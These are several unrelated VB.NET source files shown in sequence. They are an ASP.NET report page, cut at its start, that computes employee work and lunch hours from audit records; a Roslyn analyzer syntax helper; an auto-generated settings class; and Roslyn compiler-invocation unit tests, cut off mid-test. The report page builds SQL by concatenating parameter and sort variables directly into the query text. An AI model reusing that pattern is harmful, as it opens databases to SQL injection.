ROW_NUMBER() OVER(PARTITION BY Auditorias.Cod_Usu, ") loComandoSeleccionar.AppendLine(" DATEPART(YEAR,Registro),DATEPART(MONTH,Registro),") loComandoSeleccionar.AppendLine(" DATEPART(DAY,Registro) ORDER BY Auditorias.Cod_Usu ASC, Auditorias.Registro) AS Item") loComandoSeleccionar.AppendLine("INTO #tmpTemporal_Salida ") loComandoSeleccionar.AppendLine("FROM Auditorias ") loComandoSeleccionar.AppendLine("WHERE Tabla = 'Usuarios' AND (ACCION = 'Salida') AND Tipo='Seguimiento'") loComandoSeleccionar.AppendLine(" AND Registro Between " & lcParametro0Desde) loComandoSeleccionar.AppendLine(" AND " & lcParametro0Hasta) loComandoSeleccionar.AppendLine(" AND Cod_Usu Between " & lcParametro1Desde) loComandoSeleccionar.AppendLine(" AND " & lcParametro1Hasta) loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT #tmpTemporal_Entrada.Cod_Usu,") loComandoSeleccionar.AppendLine(" DATEPART(YEAR,#tmpTemporal_Entrada.Registro) AS Año,") loComandoSeleccionar.AppendLine(" DATEPART(MONTH,#tmpTemporal_Entrada.Registro) AS Mes, ") loComandoSeleccionar.AppendLine(" DATEPART(DAY,#tmpTemporal_Entrada.Registro) AS Dia,") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTemporal_Entrada.Item = '1' THEN #tmpTemporal_Entrada.Registro ELSE '1900-01-01 00:00:00.000'") loComandoSeleccionar.AppendLine(" END AS Fecha_Entrada, ") loComandoSeleccionar.AppendLine(" '1900-01-01 00:00:00.000' AS Fecha_Salida_Almuerzo, ") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTemporal_Entrada.Item = '2' THEN #tmpTemporal_Entrada.Registro ELSE '1900-01-01 00:00:00.000' ") loComandoSeleccionar.AppendLine(" END AS Fecha_Entrada_Almuerzo,") loComandoSeleccionar.AppendLine(" '1900-01-01 00:00:00.000' AS Fecha_Salida ") loComandoSeleccionar.AppendLine("INTO #tmpTemporal_Ent ") loComandoSeleccionar.AppendLine("FROM #tmpTemporal_Entrada ") loComandoSeleccionar.AppendLine("WHERE #tmpTemporal_Entrada.Item <= 2 ") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT #tmpTemporal_Salida.Cod_Usu,") loComandoSeleccionar.AppendLine(" DATEPART(YEAR,#tmpTemporal_Salida.Registro) AS Año, ") loComandoSeleccionar.AppendLine(" DATEPART(MONTH,#tmpTemporal_Salida.Registro)AS Mes,") loComandoSeleccionar.AppendLine(" DATEPART(DAY,#tmpTemporal_Salida.Registro) AS Dia,") loComandoSeleccionar.AppendLine(" '1900-01-01 00:00:00.000' AS Fecha_Entrada,") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTemporal_Salida.Item = '1' THEN #tmpTemporal_Salida.Registro ELSE '1900-01-01 00:00:00.000' ") loComandoSeleccionar.AppendLine(" END AS Fecha_Salida_Almuerzo,") loComandoSeleccionar.AppendLine(" '1900-01-01 00:00:00.000' AS Fecha_Entrada_Almuerzo, ") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTemporal_Salida.Item = '2' THEN #tmpTemporal_Salida.Registro ELSE '1900-01-01 00:00:00.000' ") loComandoSeleccionar.AppendLine(" END AS Fecha_Salida") loComandoSeleccionar.AppendLine("INTO #tmpTemporal_Sal") loComandoSeleccionar.AppendLine("FROM #tmpTemporal_Salida ") loComandoSeleccionar.AppendLine("WHERE #tmpTemporal_Salida.Item <= 2 ") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTemporal_Entrada") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTemporal_Salida") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT #tmpTemporal_Ent.*") loComandoSeleccionar.AppendLine("INTO #tmpFinal ") loComandoSeleccionar.AppendLine("FROM #tmpTemporal_Ent") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("UNION ALL ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("SELECT #tmpTemporal_Sal.* ") loComandoSeleccionar.AppendLine("FROM #tmpTemporal_Sal ") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTemporal_Ent ") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTemporal_Sal") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("/*******************************************************************************************************************************/ ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("SELECT #tmpFinal.Cod_Usu,") loComandoSeleccionar.AppendLine(" Factory_Global.dbo.Usuarios.Nom_Usu, ") loComandoSeleccionar.AppendLine(" #tmpFinal.Año,") loComandoSeleccionar.AppendLine(" #tmpFinal.Mes,") loComandoSeleccionar.AppendLine(" #tmpFinal.Dia,") loComandoSeleccionar.AppendLine(" MAX(#tmpFinal.Fecha_Entrada) AS Fecha_Entrada,") loComandoSeleccionar.AppendLine(" MAX(#tmpFinal.Fecha_Salida_Almuerzo) AS Fecha_Salida_Almuerzo,") loComandoSeleccionar.AppendLine(" MAX(#tmpFinal.Fecha_Entrada_Almuerzo) AS Fecha_Entrada_Almuerzo,") loComandoSeleccionar.AppendLine(" MAX(#tmpFinal.Fecha_Salida) AS Fecha_Salida ") loComandoSeleccionar.AppendLine("INTO #tmpTablaFinal") loComandoSeleccionar.AppendLine("FROM #tmpFinal,Factory_Global.dbo.Usuarios") loComandoSeleccionar.AppendLine("WHERE (Factory_Global.dbo.Usuarios.Cod_Usu COLLATE Modern_Spanish_CI_AS = #tmpFinal.Cod_Usu COLLATE Modern_Spanish_CI_AS)") loComandoSeleccionar.AppendLine("GROUP BY #tmpFinal.Cod_Usu,Factory_Global.dbo.Usuarios.Nom_Usu,#tmpFinal.Año,#tmpFinal.Mes,#tmpFinal.Dia ") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("/*******************************************************************************************************************************/") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("DROP TABLE #tmpFinal ") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT #tmpTablaFinal.Cod_Usu,") loComandoSeleccionar.AppendLine(" #tmpTablaFinal.Nom_Usu") loComandoSeleccionar.AppendLine("INTO #tmpTablaUsuarios ") loComandoSeleccionar.AppendLine("FROM #tmpTablaFinal ") loComandoSeleccionar.AppendLine("GROUP BY #tmpTablaFinal.Cod_Usu, #tmpTablaFinal.Nom_Usu") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("SELECT #tmpTablaUsuarios.*, ") loComandoSeleccionar.AppendLine(" #tmpDias.* ") loComandoSeleccionar.AppendLine("INTO #tmpTablaTemporal") loComandoSeleccionar.AppendLine("FROM #tmpDias CROSS JOIN #tmpTablaUsuarios") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("DROP TABLE #tmpDias ") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTablaUsuarios") loComandoSeleccionar.AppendLine("/*******************************************************************************************************************************/") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT ") loComandoSeleccionar.AppendLine(" #tmpTablaTemporal.Cod_Usu,") loComandoSeleccionar.AppendLine(" #tmpTablaTemporal.Nom_Usu,") loComandoSeleccionar.AppendLine(" #tmpTablaTemporal.Año,") loComandoSeleccionar.AppendLine(" #tmpTablaTemporal.Mes,") loComandoSeleccionar.AppendLine(" #tmpTablaTemporal.Dia,") loComandoSeleccionar.AppendLine(" ISNULL(#tmpTablaFinal.Fecha_Entrada,'1900-01-01 00:00:00.000') AS Fecha_Entrada, ") loComandoSeleccionar.AppendLine(" ISNULL(#tmpTablaFinal.Fecha_Salida_Almuerzo,'1900-01-01 00:00:00.000') AS Fecha_Salida_Almuerzo,") loComandoSeleccionar.AppendLine(" ISNULL(#tmpTablaFinal.Fecha_Entrada_Almuerzo,'1900-01-01 00:00:00.000') AS Fecha_Entrada_Almuerzo,") loComandoSeleccionar.AppendLine(" ISNULL(#tmpTablaFinal.Fecha_Salida,'1900-01-01 00:00:00.000') AS Fecha_Salida ") loComandoSeleccionar.AppendLine("INTO #tmpTablaResultados ") loComandoSeleccionar.AppendLine("FROM #tmpTablaTemporal ") loComandoSeleccionar.AppendLine("FULL JOIN #tmpTablaFinal ON #tmpTablaFinal.Cod_Usu = #tmpTablaTemporal.Cod_Usu ") loComandoSeleccionar.AppendLine(" AND #tmpTablaFinal.Año = #tmpTablaTemporal.Año") loComandoSeleccionar.AppendLine(" AND #tmpTablaFinal.Mes = #tmpTablaTemporal.Mes ") loComandoSeleccionar.AppendLine(" AND #tmpTablaFinal.Dia = #tmpTablaTemporal.Dia ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("/*******************************************************************************************************************************/") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("SELECT ISNULL(#tmpTablaResultados.Cod_Usu,'') AS Cod_Usu,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Nom_Usu, ") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Año,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Mes,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Dia,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Fecha_Entrada, ") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Fecha_Salida_Almuerzo,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Fecha_Entrada_Almuerzo,") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Fecha_Salida,") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada = '1900-01-01 00:00:00.000' THEN 0") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada <> '1900-01-01 00:00:00.000' AND #tmpTablaResultados.Fecha_Salida_Almuerzo = '1900-01-01 00:00:00.000' THEN 0") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada <> '1900-01-01 00:00:00.000' AND #tmpTablaResultados.Fecha_Salida_Almuerzo <> '1900-01-01 00:00:00.000' ") loComandoSeleccionar.AppendLine(" THEN DATEDIFF(ss,#tmpTablaResultados.Fecha_Entrada,#tmpTablaResultados.Fecha_Salida_Almuerzo) ") loComandoSeleccionar.AppendLine(" END AS Total_Seg_Tra_Man, ") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada = '1900-01-01 00:00:00.000' THEN 0 ") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada <> '1900-01-01 00:00:00.000' AND #tmpTablaResultados.Fecha_Salida_Almuerzo = '1900-01-01 00:00:00.000' THEN 0") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada_Almuerzo = '1900-01-01 00:00:00.000' OR #tmpTablaResultados.Fecha_Salida = '1900-01-01 00:00:00.000' THEN 0 ") loComandoSeleccionar.AppendLine(" WHEN #tmpTablaResultados.Fecha_Entrada <> '1900-01-01 00:00:00.000' AND #tmpTablaResultados.Fecha_Entrada_Almuerzo <> '1900-01-01 00:00:00.000' AND ") loComandoSeleccionar.AppendLine(" #tmpTablaResultados.Fecha_Salida <> '1900-01-01 00:00:00.000' THEN DATEDIFF(ss,#tmpTablaResultados.Fecha_Entrada_Almuerzo,#tmpTablaResultados.Fecha_Salida)") loComandoSeleccionar.AppendLine(" END AS Total_Seg_Tra_Tar,") loComandoSeleccionar.AppendLine(" CASE ") loComandoSeleccionar.AppendLine(" WHEN (#tmpTablaResultados.Fecha_Salida_Almuerzo) <> '1900-01-01 00:00:00.000' AND MAX(#tmpTablaResultados.Fecha_Entrada_Almuerzo) <> '1900-01-01 00:00:00.000'") loComandoSeleccionar.AppendLine(" THEN DATEDIFF(ss,#tmpTablaResultados.Fecha_Entrada_Almuerzo,#tmpTablaResultados.Fecha_Salida_Almuerzo) ELSE 0 ") loComandoSeleccionar.AppendLine(" END AS Total_Seg_Alm ") loComandoSeleccionar.AppendLine("FROM #tmpTablaResultados ") loComandoSeleccionar.AppendLine("WHERE Cod_Usu <> '' ") loComandoSeleccionar.AppendLine("GROUP BY Cod_Usu,Nom_Usu,Año,Mes,Dia,Fecha_Entrada,Fecha_Salida_Almuerzo,Fecha_Entrada_Almuerzo,Fecha_Salida") loComandoSeleccionar.AppendLine("ORDER BY " & lcOrdenamiento & ", Año ASC, Mes Desc, Dia Desc ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("/*******************************************************************************************************************************/ ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine(" ") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTablaFinal") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTablaTemporal ") loComandoSeleccionar.AppendLine("DROP TABLE #tmpTablaResultados") Dim loServicios As New cusDatos.goDatos Dim laDatosReporte As DataSet = loServicios.mObtenerTodosSinEsquema(loComandoSeleccionar.ToString(), "curReportes") 'Me.mEscribirConsulta(loComandoSeleccionar.ToString()) '------------------------------------------------------------------------------------------------------- ' Verificando si el select (tabla nº0) trae registros '------------------------------------------------------------------------------------------------------- If (laDatosReporte.Tables(0).Rows.Count <= 0) Then Me.WbcAdministradorMensajeModal.mMostrarMensajeModal("Información", _ "No se Encontraron Registros para los Parámetros Especificados. ", _ vis3Controles.wbcAdministradorMensajeModal.enumTipoMensaje.KN_Informacion, _ "350px", _ "200px") End If loObjetoReporte = cusAplicacion.goReportes.mCargarReporte("rAuditorias_Usuarios_Ipos", laDatosReporte) Me.mTraducirReporte(loObjetoReporte) Me.mFormatearCamposReporte(loObjetoReporte) Me.crvrAuditorias_Usuarios.ReportSource = loObjetoReporte Catch loExcepcion As Exception Me.WbcAdministradorMensajeModal.mMostrarMensajeModal("Error", _ "No se pudo Completar el Proceso: " & loExcepcion.Message, _ vis3Controles.wbcAdministradorMensajeModal.enumTipoMensaje.KN_Error, _ "auto", _ "auto") End Try End Sub Protected Sub Page_Unload(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Unload Try loObjetoReporte.Close() Catch loExcepcion As Exception End Try End Sub End Class '-------------------------------------------------------------------------------------------' ' Fin del codigo '-------------------------------------------------------------------------------------------' ' MAT: 29/07/11: Codigo Inicial '-------------------------------------------------------------------------------------------'
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information. Imports Microsoft.NetFramework.Analyzers.Helpers Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.VisualBasic Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.NetFramework.VisualBasic.Analyzers.Helpers Public NotInheritable Class BasicSyntaxNodeHelper Inherits SyntaxNodeHelper Public Shared ReadOnly Property DefaultInstance As BasicSyntaxNodeHelper = New BasicSyntaxNodeHelper() Private Sub New() End Sub Public Overrides Function GetClassDeclarationTypeSymbol(node As SyntaxNode, semanticModel As SemanticModel) As ITypeSymbol If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.ClassBlock Then Return semanticModel.GetDeclaredSymbol(CType(node, ClassBlockSyntax)) End If Return Nothing End Function Public Overrides Function GetAssignmentLeftNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.SimpleAssignmentStatement Then Return CType(node, AssignmentStatementSyntax).Left End If If kind = SyntaxKind.VariableDeclarator Then Return CType(node, VariableDeclaratorSyntax).Names.First() End If If kind = SyntaxKind.NamedFieldInitializer Then Return CType(node, NamedFieldInitializerSyntax).Name End If Return Nothing End Function Public Overrides Function GetAssignmentRightNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.SimpleAssignmentStatement Then Return CType(node, AssignmentStatementSyntax).Right End If If kind = SyntaxKind.VariableDeclarator Then Dim decl As VariableDeclaratorSyntax = CType(node, VariableDeclaratorSyntax) If decl.Initializer IsNot Nothing Then Return decl.Initializer.Value End If If decl.AsClause IsNot Nothing Then Return decl.AsClause End If End If If kind = SyntaxKind.NamedFieldInitializer Then Return CType(node, NamedFieldInitializerSyntax).Expression End If Return Nothing End Function Public Overrides Function GetMemberAccessExpressionNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.SimpleMemberAccessExpression Then Return CType(node, MemberAccessExpressionSyntax).Expression End If Return Nothing End Function Public Overrides Function GetMemberAccessNameNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.SimpleMemberAccessExpression Then Return CType(node, MemberAccessExpressionSyntax).Name End If Return Nothing End Function Public Overrides Function GetInvocationExpressionNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.InvocationExpression Then Return CType(node, InvocationExpressionSyntax).Expression End If Return Nothing End Function Public Overrides Function GetCallTargetNode(node As SyntaxNode) As SyntaxNode If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.InvocationExpression Then Dim callExpr As ExpressionSyntax = CType(node, InvocationExpressionSyntax).Expression Dim nameNode As SyntaxNode = GetMemberAccessNameNode(callExpr) If nameNode IsNot Nothing Then Return nameNode Else Return callExpr End If ElseIf kind = SyntaxKind.ObjectCreationExpression Then Return CType(node, ObjectCreationExpressionSyntax).Type End If Return Nothing End Function Public Overrides Function GetDefaultValueForAnOptionalParameter(declNode As SyntaxNode, paramIndex As Integer) As SyntaxNode Dim methodDecl = TryCast(declNode, MethodBlockBaseSyntax) If methodDecl Is Nothing Then Return Nothing End If Dim paramList As ParameterListSyntax = methodDecl.BlockStatement.ParameterList If paramIndex < paramList.Parameters.Count Then Dim equalsValueNode As EqualsValueSyntax = paramList.Parameters(paramIndex).Default If equalsValueNode IsNot Nothing Then Return equalsValueNode.Value End If End If Return Nothing End Function Protected Overrides Function GetCallArgumentExpressionNodes(node As SyntaxNode, callKind As CallKinds) As IEnumerable(Of SyntaxNode) If node Is Nothing Then Return Nothing End If Dim argList As ArgumentListSyntax = Nothing Dim kind As SyntaxKind = node.Kind() If kind = SyntaxKind.InvocationExpression AndAlso ((callKind And CallKinds.Invocation) <> 0) Then argList = CType(node, InvocationExpressionSyntax).ArgumentList ElseIf (kind = SyntaxKind.ObjectCreationExpression) AndAlso ((callKind And CallKinds.ObjectCreation) <> 0) Then argList = CType(node, ObjectCreationExpressionSyntax).ArgumentList ElseIf (kind = SyntaxKind.AsNewClause) AndAlso ((callKind And CallKinds.ObjectCreation) <> 0) Then Dim asNewClause As AsNewClauseSyntax = CType(node, AsNewClauseSyntax) If asNewClause.NewExpression IsNot Nothing AndAlso asNewClause.NewExpression.Kind = SyntaxKind.ObjectCreationExpression Then argList = CType(asNewClause.NewExpression, ObjectCreationExpressionSyntax).ArgumentList End If End If If argList IsNot Nothing Then Return From arg In argList.Arguments Select arg.GetExpression() End If Return Enumerable.Empty(Of SyntaxNode) End Function Public Overrides Function GetObjectInitializerExpressionNodes(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Dim empty As IEnumerable(Of SyntaxNode) = Enumerable.Empty(Of SyntaxNode) If node Is Nothing Then Return empty End If Dim objectCreationNode As ObjectCreationExpressionSyntax = node.DescendantNodesAndSelf().OfType(Of ObjectCreationExpressionSyntax)().FirstOrDefault() If objectCreationNode Is Nothing Then Return empty End If If objectCreationNode.Initializer Is Nothing Then Return empty End If Dim kind As SyntaxKind = objectCreationNode.Initializer.Kind() If kind <> SyntaxKind.ObjectMemberInitializer Then Return empty End If ' CA1804: Remove unused locals Dim initializer As ObjectMemberInitializerSyntax = CType(objectCreationNode.Initializer, ObjectMemberInitializerSyntax) Return From fieldInitializer In initializer.Initializers Where fieldInitializer.Kind() = SyntaxKind.NamedFieldInitializer Select CType(fieldInitializer, NamedFieldInitializerSyntax) End Function Public Overrides Function IsMethodInvocationNode(node As SyntaxNode) As Boolean If node Is Nothing Then Return False End If Dim kind As SyntaxKind = node.Kind() Return kind = SyntaxKind.InvocationExpression OrElse kind = SyntaxKind.ObjectCreationExpression End Function Public Overrides Function GetCalleeMethodSymbol(node As SyntaxNode, semanticModel As SemanticModel) As IMethodSymbol If node Is Nothing Then Return Nothing End If Dim kind As SyntaxKind = node.Kind() Dim symbol As ISymbol = GetReferencedSymbol(node, semanticModel) If symbol Is Nothing And kind = SyntaxKind.AsNewClause Then symbol = GetReferencedSymbol(node.ChildNodes().First(), semanticModel) End If If symbol IsNot Nothing Then If symbol.Kind = SymbolKind.Method Then Return CType(symbol, IMethodSymbol) End If End If Return Nothing End Function Public Overrides Function GetCallerMethodSymbol(node As SyntaxNode, semanticModel As SemanticModel) As IMethodSymbol If node Is Nothing Then Return Nothing End If Dim declaration As MethodBlockSyntax = node.AncestorsAndSelf().OfType(Of MethodBlockSyntax)().FirstOrDefault() If declaration IsNot Nothing Then Return semanticModel.GetDeclaredSymbol(declaration) End If Dim constructor As SubNewStatementSyntax = node.AncestorsAndSelf().OfType(Of SubNewStatementSyntax)().FirstOrDefault() If constructor IsNot Nothing Then Return semanticModel.GetDeclaredSymbol(constructor) End If Return Nothing End Function Public Overrides Function GetEnclosingTypeSymbol(node As SyntaxNode, semanticModel As SemanticModel) As ITypeSymbol If node Is Nothing Then Return Nothing End If Dim declaration As ClassBlockSyntax = node.AncestorsAndSelf().OfType(Of ClassBlockSyntax)().FirstOrDefault() If declaration Is Nothing Then Return Nothing End If Return semanticModel.GetDeclaredSymbol(declaration) End Function Public Overrides Function GetDescendantAssignmentExpressionNodes(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Dim empty As IEnumerable(Of SyntaxNode) = Enumerable.Empty(Of SyntaxNode)() If node Is Nothing Then Return empty End If Return node.DescendantNodesAndSelf.OfType(Of AssignmentStatementSyntax)() End Function Public Overrides Function GetDescendantMemberAccessExpressionNodes(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Dim empty As IEnumerable(Of SyntaxNode) = Enumerable.Empty(Of SyntaxNode)() If node Is Nothing Then Return empty End If Return node.DescendantNodesAndSelf().OfType(Of MemberAccessExpressionSyntax)() End Function Public Overrides Function IsObjectCreationExpressionUnderFieldDeclaration(node As SyntaxNode) As Boolean Return node IsNot Nothing And node.IsKind(SyntaxKind.ObjectCreationExpression) _ And node.AncestorsAndSelf().OfType(Of FieldDeclarationSyntax)().FirstOrDefault() IsNot Nothing End Function Public Overrides Function GetVariableDeclaratorOfAFieldDeclarationNode(objectCreationExpression As SyntaxNode) As SyntaxNode If IsObjectCreationExpressionUnderFieldDeclaration(objectCreationExpression) Then Return objectCreationExpression.AncestorsAndSelf().OfType(Of VariableDeclaratorSyntax)().FirstOrDefault() Else Return Nothing End If End Function End Class End Namespace
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:2.0.50727.1433 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My <Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0"), _ Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Partial Friend NotInheritable Class MySettings Inherits Global.System.Configuration.ApplicationSettingsBase Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) #Region "My.Settings Auto-Save Functionality" #If _MyType = "WindowsForms" Then Private Shared addedHandler As Boolean Private Shared addedHandlerLockObject As New Object <Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) If My.Application.SaveMySettingsOnExit Then My.Settings.Save() End If End Sub #End If #End Region Public Shared ReadOnly Property [Default]() As MySettings Get #If _MyType = "WindowsForms" Then If Not addedHandler Then SyncLock addedHandlerLockObject If Not addedHandler Then AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings addedHandler = True End If End SyncLock End If #End If Return defaultInstance End Get End Property End Class End Namespace Namespace My <Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _ Friend Module MySettingsProperty <Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _ Friend ReadOnly Property Settings() As Global.ColorMatching.My.MySettings Get Return Global.ColorMatching.My.MySettings.Default End Get End Property End Module End Namespace
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports Microsoft.CodeAnalysis.Test.Utilities Namespace Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.UnitTests <UseExportProvider> Public Class CompilerInvocationTests <Fact> Public Async Sub TestCSharpProject() ' PortableExecutableReference.CreateFromFile implicitly reads the file so the file must exist. Dim referencePath = GetType(Object).Assembly.Location Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG /reference:" + referencePath.Replace("\", "\\") + " Z:\\SourceFile.cs /target:library /out:Z:\\Output.dll"", ""projectFilePath"": ""Z:\\Project.csproj"", ""sourceRootPath"": ""Z:\\"" }") Assert.Equal(LanguageNames.CSharp, compilerInvocation.Compilation.Language) Assert.Equal("Z:\Project.csproj", compilerInvocation.ProjectFilePath) Assert.Equal(OutputKind.DynamicallyLinkedLibrary, compilerInvocation.Compilation.Options.OutputKind) Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("Z:\SourceFile.cs", syntaxTree.FilePath) Assert.Equal("DEBUG", Assert.Single(syntaxTree.Options.PreprocessorSymbolNames)) Dim metadataReference = Assert.Single(compilerInvocation.Compilation.References) Assert.Equal(referencePath, DirectCast(metadataReference, PortableExecutableReference).FilePath) End Sub <Fact> Public Async Sub TestVisualBasicProject() ' PortableExecutableReference.CreateFromFile implicitly reads the file so the file must exist. Dim referencePath = GetType(Object).Assembly.Location Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""vbc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG /reference:" + referencePath.Replace("\", "\\") + " Z:\\SourceFile.vb /target:library /out:Z:\\Output.dll"", ""projectFilePath"": ""Z:\\Project.vbproj"", ""sourceRootPath"": ""Z:\\"" }") Assert.Equal(LanguageNames.VisualBasic, compilerInvocation.Compilation.Language) Assert.Equal("Z:\Project.vbproj", compilerInvocation.ProjectFilePath) Assert.Equal(OutputKind.DynamicallyLinkedLibrary, compilerInvocation.Compilation.Options.OutputKind) Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("Z:\SourceFile.vb", syntaxTree.FilePath) Assert.Contains("DEBUG", syntaxTree.Options.PreprocessorSymbolNames) Dim metadataReference = Assert.Single(compilerInvocation.Compilation.References) Assert.Equal(referencePath, DirectCast(metadataReference, PortableExecutableReference).FilePath) End Sub <Theory> <CombinatorialData> Public Async Sub TestSourceFilePathMappingWithDriveLetters(<CombinatorialValues("F:", "F:\")> from As String, <CombinatorialValues("F:", "F:\")> [to] As String) Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG F:\\SourceFile.cs /target:library /out:F:\\Output.dll"", ""projectFilePath"": ""F:\\Project.csproj"", ""sourceRootPath"": ""F:\\"", ""pathMappings"": [ { ""from"": ""F:\\"", ""to"": ""T:\\"" }] }") Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("T:\SourceFile.cs", syntaxTree.FilePath) End Sub <Fact> Public Async Sub TestSourceFilePathMappingWithDriveLetterOnly() Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": 